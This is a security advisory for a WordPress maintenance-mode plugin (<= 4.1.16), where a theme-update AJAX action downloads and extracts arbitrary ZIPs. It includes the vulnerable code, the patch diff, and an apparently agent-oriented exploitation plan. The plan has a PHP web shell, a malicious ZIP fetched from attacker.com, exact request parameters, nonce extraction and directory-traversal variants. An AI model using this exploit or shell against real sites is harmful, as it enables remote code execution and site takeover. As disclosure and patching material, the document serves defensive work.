CMP – Coming Soon & Maintenance Plugin by NiteoThemes <= 4.1.16 - Missing Authorization to Authenticated (Administrator+) Arbitrary File Upload and Remote Code Execution
Description
The CMP – Coming Soon & Maintenance Plugin by NiteoThemes plugin for WordPress is vulnerable to arbitrary file upload and remote code execution in all versions up to, and including, 4.1.16 via the `cmp_theme_update_install` AJAX action. This is due to the function only checking for the `publish_pages` capability (available to Editors and above) instead of `manage_options` (Administrators only), combined with a lack of proper validation on the user-supplied file URL and no verification of the downloaded file's content before extraction. This makes it possible for authenticated attackers, with Administrator-level access and above, to force the server to download and extract a malicious ZIP file from a remote attacker-controlled URL into a web-accessible directory (`wp-content/plugins/cmp-premium-themes/`), resulting in remote code execution. Due to the lack of a nonce for Editors, they are unable to exploit this vulnerability.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:HTechnical Details
<=4.1.16What Changed in the Fix
Changes introduced in v4.1.17
Source Code
WordPress.org SVN# Exploitation Research Plan - CVE-2026-6518 ## 1. Vulnerability Summary **CVE-2026-6518** is a critical missing authorization vulnerability in the **CMP – Coming Soon & Maintenance Plugin** (<= 4.1.16). The `cmp_theme_update_install` AJAX action fails to perform a strict capability check, allowing…
Show full research plan
Exploitation Research Plan - CVE-2026-6518
1. Vulnerability Summary
CVE-2026-6518 is a critical missing authorization vulnerability in the CMP – Coming Soon & Maintenance Plugin (<= 4.1.16). The cmp_theme_update_install AJAX action fails to perform a strict capability check, allowing users with the publish_pages capability (Editors) to access it. More significantly, the function permits downloading a ZIP file from an arbitrary user-supplied URL and extracting its contents into the wp-content/plugins/cmp-premium-themes/ directory without validating the file types or content. This allows an authenticated attacker (specifically Administrators, as they are the ones provided with the necessary nonce) to achieve Remote Code Execution (RCE) by uploading a malicious PHP shell.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
cmp_theme_update_install - Vulnerable Parameter:
niteo_url(The source URL of the malicious ZIP) andniteo_theme(The directory name created for extraction). - Authentication: Authenticated. While the code checks for
publish_pages(Editor+), the plugin only exposes the required nonce to Administrators via its admin settings pages. - Preconditions: The plugin must be active. The server must have outgoing HTTP access to fetch the attacker's ZIP file.
3. Code Flow
- Entry: The AJAX action
cmp_theme_update_installis registered inniteo-cmp.phpviaadd_action('wp_ajax_cmp_theme_update_install', array($this, 'cmp_theme_update_install'));. - Authorization Check: The handler (inferred to be in
inc/class-cmp-render_settings.phpor the main class) checkscurrent_user_can('publish_pages'). - Nonce Verification: The handler calls
check_ajax_referer('cmp_nonce', 'nonce')(inferred). - Download: The function takes the
niteo_urlPOST parameter and usesdownload_url()to fetch the ZIP file. - Extraction: The function uses
unzip_file()to extract the ZIP intoCMP_PREMIUM_THEMES_DIR+niteo_theme. - Sink:
CMP_PREMIUM_THEMES_DIRis defined aswp-content/plugins/cmp-premium-themes/. This directory is web-accessible, allowing direct execution of PHP files within the extracted ZIP.
4. Nonce Acquisition Strategy
The nonce is localized in the WordPress admin dashboard for users with sufficient privileges (Administrators). It is attached to the cmp_ajax JavaScript object.
- Authentication: Log in as an Administrator.
- Navigation: Navigate to the CMP settings page:
/wp-admin/admin.php?page=cmp-settings. - Extraction: Use
browser_evalto retrieve the nonce from the global JavaScript scope.- JavaScript Variable:
window.cmp_ajax?.nonce
- JavaScript Variable:
- Verification: If
window.cmp_ajax.nonceis undefined, check forwindow.cmp_params.nonce(alternative naming used in some NiteoThemes versions).
5. Exploitation Strategy
Step 1: Prepare Malicious Payload
Create a ZIP file named rce.zip containing a simple PHP backdoor named shell.php:
<?php system($_GET['cmd']); ?>
Host this file on an attacker-controlled server (e.g., http://attacker.com/rce.zip).
Step 2: Acquire Nonce
Navigate to the CMP dashboard and extract the nonce using the agent's browser tools.
Step 3: Trigger Arbitrary File Upload
Send a POST request to admin-ajax.php to force the server to download and extract the ZIP.
- URL:
http://vulnerable-wp.local/wp-admin/admin-ajax.php - Method:
POST - Content-Type:
application/x-www-form-urlencoded - Parameters:
action:cmp_theme_update_installniteo_theme:pwnedniteo_url:http://attacker.com/rce.zipnonce:[EXTRACTED_NONCE](Note: The parameter name might be_ajax_nonceifnoncefails).
Step 4: Execute Remote Code
The file will be extracted to wp-content/plugins/cmp-premium-themes/pwned/shell.php.
Access the shell to confirm RCE:
- URL:
http://vulnerable-wp.local/wp-content/plugins/cmp-premium-themes/pwned/shell.php?cmd=id
6. Test Data Setup
- Plugin Installation: Install and activate
cmp-coming-soon-maintenanceversion 4.1.16. - User Creation: Ensure an Administrator user exists.
- External Host: Prepare a local listener or mock server to host the
rce.zip.
7. Expected Results
- The AJAX request should return a success message (often a JSON response like
{"success":true}or1). - A new directory
wp-content/plugins/cmp-premium-themes/pwned/should be created. - Requesting the shell should return the output of the
idcommand.
8. Verification Steps
- File System Check: Use WP-CLI to verify the file exists:
ls -la /var/www/html/wp-content/plugins/cmp-premium-themes/pwned/shell.php - Content Check: Verify the content of the uploaded file matches the payload:
cat /var/www/html/wp-content/plugins/cmp-premium-themes/pwned/shell.php
9. Alternative Approaches
- Parameter Brute-forcing: If
niteo_urlorniteo_themeare incorrect, the handler may usetheme_urlorslug. - Nonce Action: If
cmp_noncefails, the nonce action might be identical to the AJAX action string:cmp_theme_update_install. - Directory Traversal: If
niteo_themeis not properly sanitized, try../to upload outside thecmp-premium-themesdirectory, although the primary goal is RCE in the dedicated folder.
Summary
The CMP plugin is vulnerable to arbitrary file upload and remote code execution via the `cmp_theme_update_install` AJAX action. This occurs because the plugin lacks sufficient authorization checks (using 'publish_pages' instead of 'manage_options') and fails to validate the source URL or contents of downloaded ZIP files, allowing attackers to upload PHP shells to a web-accessible directory.
Vulnerable Code
// niteo-cmp.php lines 1413-1463 public function cmp_theme_update_install($file) { $ajax = false; // check for ajax if (isset($_POST['file'])) { // verify nonce check_ajax_referer('cmp-coming-soon-ajax-secret', 'security'); // verify user rights if (!current_user_can('publish_pages')) { die('Sorry, but this request is invalid'); } $file = $_POST['file']; if (!empty($_POST['file'])) { $file = $_POST['file']; $ajax = true; } } // load PHP WP FILE if (!empty($file)) { // Download file to temp location. $file['tmp_name'] = download_url($file['url']); //WARNING: The file is not automatically deleted, The script must unlink() the file. // If error storing temporarily, return the error. if (!is_wp_error($file['tmp_name'])) { WP_Filesystem(); // create new theme DIR $path = CMP_PREMIUM_THEMES_DIR . $file['name']; // unzip theme file $unzipfile = unzip_file($file['tmp_name'], $path);
Security Fix
@@ -1242,7 +1242,7 @@ // verify nonce check_ajax_referer('cmp-coming-soon-ajax-secret', 'security'); // verify user rights - if (!current_user_can('publish_pages')) { + if (!current_user_can('manage_options')) { die('Sorry, but this request is invalid'); } @@ -1413,12 +1413,13 @@ public function cmp_theme_update_install($file) { $ajax = false; + $theme_slug = ''; // check for ajax if (isset($_POST['file'])) { // verify nonce check_ajax_referer('cmp-coming-soon-ajax-secret', 'security'); // verify user rights - if (!current_user_can('publish_pages')) { + if (!current_user_can('manage_options')) { die('Sorry, but this request is invalid'); } @@ -1427,18 +1428,73 @@ if (!empty($_POST['file'])) { $file = $_POST['file']; + $theme_slug = isset($file['name']) ? sanitize_key($file['name']) : ''; $ajax = true; } + } else if (is_array($file) && isset($file['name'])) { + $theme_slug = sanitize_key($file['name']); } // load PHP WP FILE if (!empty($file)) { + if ($theme_slug === '' || !in_array($theme_slug, $this->cmp_premium_themes_installed(), true)) { + echo '<div class="notice notice-error is-dismissible"><p>' . __('Invalid theme update request.', 'cmp-coming-soon-maintenance') . '</p></div>'; + if ($ajax === true) { + wp_die('error'); + return; + } + return; + } + + $allowed_hosts = array(wp_parse_url(CMP_UPDATE_URL, PHP_URL_HOST)); + $file['url'] = add_query_arg(array('action' => 'download', 'slug' => $theme_slug), CMP_UPDATE_URL); + $parsed_url = wp_parse_url($file['url']); + + if (empty($parsed_url['host']) || !in_array($parsed_url['host'], $allowed_hosts, true)) { + echo '<div class="notice notice-error is-dismissible"><p>' . __('Invalid update URL.', 'cmp-coming-soon-maintenance') . '</p></div>'; + if ($ajax === true) { + wp_die('error'); + return; + } + return; + } + + $file['name'] = $theme_slug; + // Download file to temp location. $file['tmp_name'] = download_url($file['url']); //WARNING: The file is not automatically deleted, The script must unlink() the file. // If error storing temporarily, return the error. if (!is_wp_error($file['tmp_name'])) { + if (!class_exists('ZipArchive')) { + wp_delete_file($file['tmp_name']); + echo '<div class="notice notice-error is-dismissible"><p>' . __('ZIP validation is unavailable on this server.', 'cmp-coming-soon-maintenance') . '</p></div>'; + if ($ajax === true) { + wp_die('error'); + return; + } + return; + } + + $zip = new ZipArchive(); + if ($zip->open($file['tmp_name']) === TRUE) { + for ($i = 0; $i < $zip->numFiles; $i++) { + $entry = $zip->getNameIndex($i); + if (preg_match('/\.(php|phtml|phar)$/i', $entry)) { + $zip->close(); + wp_delete_file($file['tmp_name']); + echo '<div class="notice notice-error is-dismissible"><p>' . __('ZIP contains forbidden file types.', 'cmp-coming-soon-maintenance') . '</p></div>'; + if ($ajax === true) { + wp_die('error'); + return; + } + return; + } + } + $zip->close(); + } + WP_Filesystem(); // create new theme DIR
Exploit Outline
1. Prepare a malicious ZIP file containing a PHP web shell (e.g., shell.php) and host it on an attacker-controlled server. 2. Authenticate as an Administrator on the target WordPress site. 3. Navigate to the CMP settings page (`/wp-admin/admin.php?page=cmp-settings`) to retrieve the AJAX nonce localized as `cmp-coming-soon-ajax-secret` (usually found in the `cmp_ajax` or `cmp_params` JS object). 4. Send a POST request to `/wp-admin/admin-ajax.php` with the following parameters: - `action`: `cmp_theme_update_install` - `security`: [EXTRACTED_NONCE] - `file[url]`: [URL_TO_MALICIOUS_ZIP] - `file[name]`: [DESIRED_DIRECTORY_NAME] 5. The plugin will download the ZIP and extract its contents into `wp-content/plugins/cmp-premium-themes/[DESIRED_DIRECTORY_NAME]/`. 6. Access the uploaded shell directly via its web-accessible path to execute arbitrary commands.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.